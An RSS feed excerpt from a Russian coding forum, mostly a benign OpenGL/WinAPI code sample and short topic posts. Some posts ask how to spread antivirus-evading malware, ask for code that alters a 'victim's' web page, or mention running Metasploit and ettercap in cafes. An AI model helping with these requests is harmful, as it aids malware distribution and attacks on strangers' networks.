/&gt;&lt;br /&gt; void EnableOpenGL(HWND hWindow, HDC* hDC, HGLRC* hRC&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIXELFORMATDESCRIPTOR PixelFormat = {0}; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.nSize&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= sizeof(PIXELFORMATDESCRIPTOR&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.nVersion&amp;nbsp;&amp;nbsp;&amp;nbsp;= 1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.dwFlags&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= PFD_DRAW_TO_WINDOW | &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFD_SUPPORT_OPENGL | &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFD_DOUBLEBUFFER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.iPixelType = PFD_TYPE_RGBA; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.cColorBits = 24;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Глубина цвета. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.cDepthBits = 16;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Размер буфера глубины. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PixelFormat.iLayerType = PFD_MAIN_PLANE;&amp;nbsp;&amp;nbsp;// Тип плоскости. &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(*hDC = GetDC(hWindow&amp;#41;&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(SetPixelFormat(*hDC, (ChoosePixelFormat(*hDC, &amp;PixelFormat&amp;#41;&amp;#41;, &amp;PixelFormat&amp;#41;&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(*hRC&amp;nbsp;&amp;nbsp;= wglCreateContext(*hDC&amp;#41;&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(wglMakeCurrent(*hDC, *hRC&amp;#41;&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; LRESULT CALLBACK WindowProc(HWND hWindow, UINT uMsg, WPARAM wParam, LPARAM lParam&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch (uMsg&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case WM_SIZE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: ResizeScene(LOWORD(lParam&amp;#41;, (HIWORD(lParam&amp;#41;&amp;#41;&amp;#41;; // Обработка изменения размеров главного окна. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case WM_PAINT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: RenderScene(hDC&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Отрисовка кадра. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case WM_CREATE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;: EnableOpenGL(hWindow, &amp;hDC, &amp;hRC&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Инициализация OpenGL. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case WM_KEYDOWN&amp;nbsp;&amp;nbsp;&amp;nbsp;: KeyboardInput(wParam&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Обработка нажатий клавиш на клавиатуре. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case WM_MOUSEMOVE : MouseMove(LOWORD(lParam&amp;#41;, (HIWORD(lParam&amp;#41;&amp;#41;&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Обработка движения мыши. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return DefWindowProc(hWindow, uMsg, wParam, lParam&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0; &lt;br /&gt; } &lt;br /&gt;&lt;br /&gt; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow&amp;#41; &lt;br /&gt; { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MSG Msg; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WNDCLASSEX WindowClass; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.cbSize&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= sizeof(WNDCLASSEX&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.style&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= CS_OWNDC; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.lpfnWndProc&amp;nbsp;&amp;nbsp;&amp;nbsp;= WindowProc; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.cbClsExtra&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.cbWndExtra&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.hInstance&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= hInstance; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.hIcon&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= LoadIcon(0, IDI_APPLICATION&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.hCursor&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= LoadCursor(0, IDC_ARROW&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.hbrBackground = 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.lpszMenuName&amp;nbsp;&amp;nbsp;= 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.lpszClassName = &quot;GLClass&quot;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WindowClass.hIconSm&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= LoadIcon(0, IDI_APPLICATION&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!RegisterClassEx(&amp;WindowClass&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBox(0, &quot;Невозможно зарегистрировать класс окна.&quot;, &quot;Шайссе!&quot;, MB_ICONERROR&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hMainWindow = CreateWindowEx(0, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;GLClass&quot;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;OpenGL 3D&quot;, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WS_POPUPWINDOW, // Окно создастся без оконной рамки. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;800,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Ширина окна. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;600,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Высота. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hInstance, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!hMainWindow&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageBox(0, &quot;Невозможно создать окно.&quot;, &quot;Шайссе!&quot;, MB_ICONERROR&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowWindow(hMainWindow, SW_MAXIMIZE&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowCursor(0&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (Msg.message != WM_QUIT&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (PeekMessage(&amp;Msg, 0, 0, 0, PM_REMOVE&amp;#41;&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TranslateMessage(&amp;Msg&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DispatchMessage(&amp;Msg&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SendMessage(hMainWindow, WM_PAINT, 0, 0&amp;#41;; // Посылаем окну сообщение на отрисовку следующего кадра. (Лучше сделать в отдельном потоке&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return Msg.wParam; &lt;br /&gt; } &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; &lt;span style=&quot;color:red&quot;&gt;Волк-1024 (с)&lt;/span&gt;</content:encoded>
<category>Остальные языки программирования</category>
<dc:creator>Волк-1024</dc:creator>
<guid>https://delfcode.ru/forum/35-1333-1</guid>
</item>
<item>
<title>!!БАНЫ!!</title>
<link>https://delfcode.ru/forum/6-251-1</link>
<pubDate>Wed, 07 Jan 2015 12:43:03 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/6&quot;&gt;delfcode.ru&lt;/a&gt;&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Забанены навечно 2 ip адреса за флуд и оскарбления &lt;br /&gt; ..закрыта активность пользователей &lt;br /&gt;&lt;br /&gt; 95.179.38.189 &lt;br /&gt; 95.179.40.132</content:encoded>
<category>delfcode.ru</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/6-251-1</guid>
</item>
<item>
<title>Подскажите код</title>
<link>https://delfcode.ru/forum/28-1326-1</link>
<pubDate>Sun, 04 Jan 2015 19:37:35 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Описание темы: Help&lt;br /&gt;Автор темы: akatew&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Q All. Я собираюсь написать программу, суть этой программы такова, если жертва запустит программу и перейдет на какую-то страницу сайта, тот на той странице будет изменен некоторый текст, например написано &quot;Добро пожаловать&quot; а программа заметит его на &quot;Ку всем&quot;. &lt;br /&gt; Подскажите код пожалуйста, я в интернете ничего о таком коде не нашел. &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt;</content:encoded>
<category>Свободное общение</category>
<dc:creator>akatew</dc:creator>
<guid>https://delfcode.ru/forum/28-1326-1</guid>
</item>
<item>
<title>Безисходность</title>
<link>https://delfcode.ru/forum/28-1322-1</link>
<pubDate>Sun, 28 Dec 2014 09:45:13 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: FakeCodeByte&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Написал зверя, не палится ни одним атнивирусом, но не знаю как распространять... &lt;br /&gt; Есть какие нибудь идеи?</content:encoded>
<category>Свободное общение</category>
<dc:creator>FakeCodeByte</dc:creator>
<guid>https://delfcode.ru/forum/28-1322-1</guid>
</item>
<item>
<title>Рабочие столы</title>
<link>https://delfcode.ru/forum/28-992-1</link>
<pubDate>Tue, 18 Nov 2014 15:41:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: C@T&lt;br /&gt;Автор последнего сообщения: Slash&lt;br /&gt;Количество ответов: 10</description>
<content:encoded>предлагаю всем выложить сюда скрины своих рабочих столов, думаю будет интересно посмотреть у кого какая красота, или творческий безпорядок на рабочем столе &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; так как операционных систем у меня 3( винда, Back Track, kubuntu) поэтому и скринов выложу несколько(без бэк трека, ибо сижу под ним не часто и из-за набора софта типа метасплоита, ettercap и т.д, люблю в кафешках играться) &lt;br /&gt;&lt;br /&gt; Винда: &lt;br /&gt; &lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/9/0291234.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/9/s0291234.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt; &lt;br /&gt;&lt;br /&gt; Kubuntu: &lt;br /&gt; &lt;!--IMG2--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/9/7941003.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/9/s7941003.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt; &lt;br /&gt;&lt;br /&gt; P.S &lt;br /&gt; под кубунтой у меня стоит апатч и кодю я там в остновном что то связанное с вебом, ну или что то на QT, под виндой больше кодю в студии на с++</content:encoded>
<category>Свободное общение</category>
<dc:creator>C@T</dc:creator>
<guid>https://delfcode.ru/forum/28-992-1</guid>
</item>
<item>
<title>Немного размышлений о VX  сегодня</title>
<link>https://delfcode.ru/forum/28-1299-1</link>
<pubDate>Tue, 14 Oct 2014 15:32:54 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/28&quot;&gt;Свободное общение&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: xXxSh@dowxXx&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>&lt;span style=&quot;color:#ffffff&quot;&gt;Все, что описано ниже, моё личное мнение, которое я обосную на фактах, оно может быть ошибочным, это нормально, посему критику очень приветствую.&lt;/span&gt; &lt;br /&gt;&lt;br /&gt; За последние 2 года, по данным облачных АВ сервисов, и личной статистике, я уже не вижу массовой эпидемии какого-нибудь червя, как это было лет 5 назад. Я не беру во внимание примитивные Autorun-поделки, которых раньше кодилось тоннами, я говорю о серьезных продуктах, таких как Sality, Virut. Которые для распространения заражают исполняемые файлы, в качестве основной техники используют EPO (сокрытие точки входа), основной код при этом шифруется, генерится один или несколько декрипторов, и цепляется к последней секции. &lt;br /&gt;&lt;br /&gt; &lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/12/0440273.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном 